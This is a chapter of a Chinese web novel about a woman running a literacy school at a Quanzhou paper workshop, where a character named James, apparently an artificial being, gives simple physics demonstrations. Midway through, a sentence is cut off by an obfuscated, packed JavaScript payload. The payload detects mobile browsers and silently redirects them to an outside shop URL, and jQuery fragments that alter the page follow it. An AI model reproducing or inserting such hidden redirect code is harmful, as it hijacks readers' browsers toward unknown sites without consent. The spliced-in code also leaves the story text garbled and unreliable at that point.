新屋上梁的那天，瓦匠和木匠在房顶上忙了一整天。木匠的老婆来送午饭时，在溪边站了一会儿，看着那些年轻女人和女孩从纸坊里进进出出，有人手里捧着湿纸，有人蹲在溪边清洗竹帘，有人坐在窗边低声念字。她没有走进来，只是站在那棵樟树底下看了一会儿，手里还攥着给丈夫送饭的竹篮。
第二天她来送晚饭的时候，在门口站得比昨天稍微近了一些。第三天她把竹篮递给木匠后没有立刻走，站在窗边看了一会儿阿竹写字。阿竹正在练习写“母”字，笔画已经比半年前稳了很多。木匠的老婆看了很久，然后问：“……学这个，要多久？”
陈折正在整理纸架：“看你想学到什么程度。”
“我女儿嫁到漳州去了，来信我看不懂。”她说，“每次都要等人念给我听，念完了想回信，也不知道该写什么。”
“那你要学认字和写信。会稍微久一点。”
“多久都行。”她说，“我回去跟当家的说一声，明天下工了就来。”
木匠的老婆姓吴，大家都叫她吴婶。她来的第一天坐在最后面，手里攥着一根炭笔，指节粗大，掌心有常年做活留下的厚茧。她看着纸面上那些笔画，像在辨认一座她从未去过但听说过很多次的城市的地图。她写第一个字的时候，整只手都在抖，但笔画落下去之后，她低头看了一会儿，然后说：“这是我写的第一笔。”阿娜坐在她旁边，没有评价那笔字的形状，只是问：“你学会写字之后，想跟谁说什么话？”
吴婶看着自己写下的那半个字，笔画还没有完成，“想跟女儿说，我学会写信了。”
第一间新屋完工后，学堂的人已经超过了陈折一个人能教的范围。新来的人坐在屋外的石头上等。有的女人上了年纪，能看见眼角的皱纹，有的女孩还很年轻，怯怯的看着纸坊。阿娜的个子已经比很多成年女人都高，看起来已经像个稳重的老师了。某天下午陈折把阿娜叫到窗边，说：“初级班你来教。先教认字和写自己的名字。把《四言杂字》前两章吃透就行。让阿竹帮你。”
阿娜没有犹豫，只是问：“那教完了怎么办？”
“教完了就教下一批。”
第二天的课堂上，阿娜坐在矮桌前，面前坐着五个刚来的年轻女人，以及吴婶。她们手里都攥着炭笔。阿娜在纸上写了一个字：“人”。然后她侧过头看向陈折的方向，陈折微微点了一下头。阿娜转回去，把纸举起来，对着前排的人说：“这个字，读音是人。你们跟着我写。”
詹姆斯站在后院门口看着，没有走近，也没有走开。他看了阿娜正在教的第一行字，看了坐在后排低头描字的吴婶，看了阿娜在纸上示范的完整笔画顺序。阿娜已经能够教别人了。她不再是那个坐在门槛上等陈折写下一个字的孩子。詹姆斯站在那，把这一幕也存进了数据库，没有贴标签。
开学堂后的第十天，詹姆斯提着一只木桶和几块大小不一的石头走到院子里。他站在阳光照得到的那片空地上，对正蹲在地上写字的一个小女孩说：“你过来，帮我做一件事。”小女孩七八岁，是其中一个女工的妹妹，没人带，天天蹲在纸坊门口等姐姐收工。她站起来走到詹姆斯面前，仰头看他。詹姆斯把一块拳头大的石头和一块小石子同时举起来，双手齐平，然后松开。两块石头同时落地，发出一声短促的闷响。小女孩眨了一下眼。詹姆斯又捡起一块更大的石头和一块更小的，重复了同一个动作。“看到了吗？”他问。“……一样快？”
小女孩说。“对。重量不一样，但落得一样快。”小女孩蹲下来，自己捡起两块石头，举到同一高度，松手。它们落地的时间差短到几乎无法用肉眼区分。她蹲在地上看了一会儿，又捡起两块，重复了一遍，然后站起来，跑到纸坊门口喊：“阿姐！你出来看！大石头和小石头掉下去一样快！”
声音在院子里传开，几个正在收纸的年轻女人抬起头来。吴婶放下手里的字帖，走到门口看了一眼。阿竹停下手里的笔，也侧过头望向院子。到第三遍的时候，一个原本正在洗竹帘的女人也走过来看了。詹姆斯又演示了一遍，这一回周围站了七八个人。一个年轻女人说：“那你试试羽毛。”詹姆斯没有回答，回到屋里取出一根鸡毛和一块石子，举起，松开。石子落地时，羽毛还在空中悬浮了一下，然后才缓缓飘下。围观的几个人同时“哦”了一声。詹姆斯没有再解释。他打开屋门，把鸡毛和石子并排摆在一只矮木箱上，供人端详或亲手验证。
那天傍晚，吴婶坐在门槛上，手里握着一根炭笔，把今天新学的字默写了一遍。她写完后把纸举起来，对着窗口透进来的光看了看，像在检查一件她刚刚完成的活计。她把纸叠好收进怀里，站起来走向灶房。詹姆斯还在院子里，蹲在地上，把鸡毛和石子收进木箱。那个小女孩蹲在他旁边，手里攥着一块小石子，正在自己一遍一遍地试。她没有抬头，只是问了一句：“你还会做别的吗？”
詹姆斯盖上木箱盖子：“会。”
“那你明天还做吗？”
“做。”
小女孩点了点头，把手里的小石子放在木箱盖上，站起来跑开了。詹姆斯蹲在原地，看着那颗被留在木箱盖上的小石子。
第二天下午，詹姆斯在院墙下的阴凉处摆了一只木箱。箱盖上放着几样东西，一只细长的陶瓶，装满米，用手压实了，瓶口插着一根竹筷。旁边搁着一只粗瓷碗，碗底放了一枚铜钱，碗里还没倒水。昨天那个小女孩已经蹲在木箱旁边了，手里还攥着昨天那块小石子，在等他。
詹姆斯没有叫人，蹲下来，把那只插着竹筷的陶瓶放在众人能看到的位置，然后握住筷子，垂直向上提起。整只陶瓶被筷子带离了地面，悬在半空中，瓶身微微晃动了一下，但没有掉落。蹲在旁边的几个孩子同时安静了。那个小女孩指着瓶子，用一种平静到近乎平淡的语气问：“它为什么没有掉下来？”
“因为米粒被压紧了。”詹姆斯说，“米和筷子之间产生了摩擦力，一种阻止物体滑动的力。它的大小超过了瓶子和米的重量，所以筷子能把它提起来。”他把瓶子放回地面，拔掉筷子，蹲在一旁的围观者沉默了片刻。然后一个年纪稍大的男孩蹲下来，按照詹姆斯刚才示范的步骤，把筷子插进米里，握住，慢慢提起。瓶子悬空了，他的脸上没有明显的表情变化，只是继续提着那根筷子。
下一个实验用了那枚铜钱和那只粗瓷碗。詹姆斯把铜钱放在碗底，调整了几次自己的视线高度，让围观的人轮流来看。从侧面看，铜钱在碗底是可见的。然后他缓慢地往碗里倒水。水面上升时，铜钱开始变得模糊，像一层正在被覆盖的墨迹，然后彻底消失了。一个年轻女人弯下腰去看，铜钱确实不见了，碗底空空的，像是被水吃掉了。然后詹姆斯继续倒水，直到水面超过碗沿的某个高度，铜钱又重新出现了。
“光的折射。”他说，“光从空气进入水里的时候，会拐弯。所以你看不到它。水满了之后，光路又变了，它就重新出现了。”他站起来：“这个道理，可以用来抓鱼。你在水面上看到的鱼，不是它真正的位置。光在水面上拐了一个弯。你照着看到的地方去捞，捞不到。要往你看到的位置偏下方去捞。
”一个年轻女人抬起头来：“你说的是抓鱼？”
詹姆斯说：“是。”
她把袖子往上卷了一圈，没有说好，也没有说不好，但她看起来像一个正在计算下一步方向的人。她的脚趾在门槛边缘微微向内收拢了一下，然后转身走进了后院的灶房。
那个蹲在木箱旁边的小女孩还没有走。她看完了整场演示，把目光从那只已经装满水的碗上移开，抬头看着詹姆斯，说了一句话，语气平淡，“你为什么懂得这么多？”
詹姆斯蹲在木箱旁边，把铜钱从水里捞出来擦干，放回碗底，然后把陶瓶里剩余的米倒进布袋里，收好。他一边做这些事情，一边说了一句话，声音不高不低，陈述一件已经存放了很久的事实，“因为你学了。你学了，就会懂。”
小女孩蹲在他对面，听完之后没有立刻回应。她把自己的目光从詹姆斯的手指上移开，落在自己的手上，“那我学了，也会懂吗？”
“你会比我懂得还多。”
那天晚上，女孩坐在灶房门槛边，手里攥着一根树枝，在泥地上画了几道线。
第二天一早，那个女孩出现在阿娜的初级班上。她坐在第一排，背挺得笔直，手里握着一根削好的炭笔，面前摊着一张裁好的纸。阿娜看了她一眼，什么也没说，只是把写着“人”字的纸举起来，开始今天的课程。
上午过半的时候，一辆牛车停在了溪边纸坊的门口。书坊的掌柜自己来了，身后跟着两个伙计，一个抬着一只空木箱，另一个手里攥着一卷纸，是之前送去的溪纸样品。陈折从屋里出来，站在门口，看着他。掌柜也不客套，说：“上次那批纸，在文士手里已经传开了。你再给我五百张。”
陈折没有接“五百张”这个数字，而是先让他把之前那批纸用完后剩下的边角料和试笔纸拿来看了看，然后说：“可以给你。但我要现钱。”
“现钱就现钱。”掌柜说，“另外，你那个小册子，《居家卫生常识》，第一批已经卖完了。买的人大多不是读书人，是书生买回去带给家里女人看。便宜，几文钱一本，带回去给母亲、媳妇、姐妹，不贵，看着也新鲜。结果好多人又回来问有没有更多。”他从袖口抽出一张纸，上面列着一串数字，书坊记录的售出数和再问数，“第一批印了五十份，半月售空。后面又加印了两批各三十，还是不够。掌柜自己也没预料到，他停了一下，补充道：“主要是便宜。识字的人买回去当个新鲜物件，不识字的也可以让家里的给读，讲解卫生知识。这样一来，连那些平时不进书坊的人，也开始留意门外的书架了。”
陈折站在门口没有
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17786808|210200||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
接话，心里已经把“溪纸”和“识字”两个支点之间的距离重新算了一遍。她在门槛边沉默了片刻，“纸可以再出五百张。让伙计把空箱搬进来，我把纸装好，你直接拉走。另外那本小册子，我再加二百份。排版不用改，直接加印就行。”掌柜正要点头，陈折又补了一句：“但我有一个条件，以后每次印，都要在末页加一行字，注明这册子是广州光孝寺旁医馆编撰，泉州溪边纸坊印制。没有其他要求。”
掌柜低头看了她一眼，然后点了点头：“好说。”
伙计们把空木箱搬进纸坊，陈折从架上取纸，码齐，点数，装箱。阿竹从后院走出来，蹲在一旁帮着码边。掌柜站在门口看着这批纸，页角整齐，纸色匀净，在午后的阳光里透着一层温润的底色。他又低头看了一眼之前批被卖掉的纸样，然后带着伙计离开了。
中午休息的时候，阿竹把前几批纸的边角料整理出来，把被裁下的窄条码成一摞，准备做记账用纸。她低头扎线的时候，把线头在指尖绕了一圈，又解开，换了一个方向重新绕，“那本小册子，真的有人买回去给家里的女人看？”
陈折正在整理剩下的纸：“有。因为便宜。也因为这个时代没有别的东西是专门写给她们看的。”
阿竹把线头绕紧，打了一个结，没有再问。她把那摞边角料搬到窗台上放好。她站在窗边，午后的阳光把她的影子拉长。詹姆斯从后院走进来，手里拿着两块石头和一根竹筷，把它们放回木箱里，关上箱盖，然后站起来，声音不高不低：“她今天坐在第一排。”没有主语，但陈折知道他说的是谁。
“我知道。”她说。
晚间，纸坊前厅的油灯被拨亮了一些。陈折坐在桌边，手里无意识地摩挲着布莱克的耳朵。布莱克趴在她脚边，尾巴贴着地面，偶尔扫一下。阿娜坐在对面，手里攥着一根炭笔，面前摊着一张纸。詹姆斯站在门框边的阴影里，没有坐下。
“我想在现有的识字课基础上再加两门课。”陈折说，“一门算数，一门自然地理。”
阿娜抬起头：“算数？像书坊掌柜那样用算盘打？”
“比算盘更简单一些。”陈折说，“就是我之前教你的那种阿拉伯数字的计数方法，只用十个符号，加减乘除都比算盘快。计算分数、计算田地的面积、估算谷仓能装多少粮食，都能用。”
阿娜在纸上记了几个字：“谁教？”
“你教。”陈折说，“配合基础班，从最简单的数数开始。不用教太深，够她们算账就够了。如果以后有人想学更多，再单独开。”
阿娜低头看着纸上的字，在那一行下方画了一道线：“那自然地理呢？”
“詹姆斯教。”陈折说，“包括日升月落、雨雪雷电、潮汐气象、为什么会有春夏秋冬。还有，破除鬼神。但有些东西不能讲。”
詹姆斯从阴影里走出来一步：“哪些？”
“不能讲日心说，不能讲我们生活的世界是一颗绕着太阳转的球。”陈折说，“可以讲的是我们生活的世界大概的样子，比如我们的西边有辽阔的土地，有詹姆斯的来处，有和这里不同的人种”她停顿了一下，“可以讲简单的力学——杠杆、滑轮、热胀冷缩。这些在生活里用得到，不至于被当成妖术。”
“不能有影响天命皇权的知识。”詹姆斯说。他的声音不高，但像在数据库中划下了一条清晰的分界线。
陈折点了点头：“所以换一种讲法。不讲‘宇宙’，讲‘我们脚下的这片大地和头顶这片天空’；不讲‘科学颠覆信仰’，讲‘这些规律是大自然本来就有的，只是以前没人告诉你们’。”
阿娜没有抬头，在纸上继续写：“算术教加减乘除、分数、面积。自然教四季、潮汐、雷电、杠杆、滑轮。不能讲日心说，不能讲天命。”她放下炭笔，吹了吹纸面上多余的炭屑，“那这些课什么时候开始？”
“等你把现在的初级班再带稳一些。”陈折说，“等识字班的人能自己读完《四言杂字》了，就可以开始分班。”
詹姆斯重新退回阴影里：“我可以先整理一份自然常识的讲稿，确定哪些知识可以讲，哪些必须绕开。这样不会误触边界。”
陈折没有说“好”或“不好”，过了一会儿才说：“整理好了，先给阿娜看，让她用她能听懂的话转述一遍。”
布莱克从她脚边站起来，走到门槛边蹲下，面朝院子。夜风从墙头穿过，把檐下晾晒的纸页吹得微微响动。那些纸页还在，字迹正在慢慢干透。阿娜把写好的纸叠好收进怀里，站起来：“那我去想算术课怎么上。”
她转身走回自己的房间，走了几步，在门槛边停了一下，侧过头看着夜色中远处山脉的轮廓：“你说，西边有辽阔的土地，那里有女人在认字吗？”
陈折没有回答这个问题。她坐在桌边，目光越过阿娜的肩头，晚风从泉州港的方向吹来，带着咸腥的气息。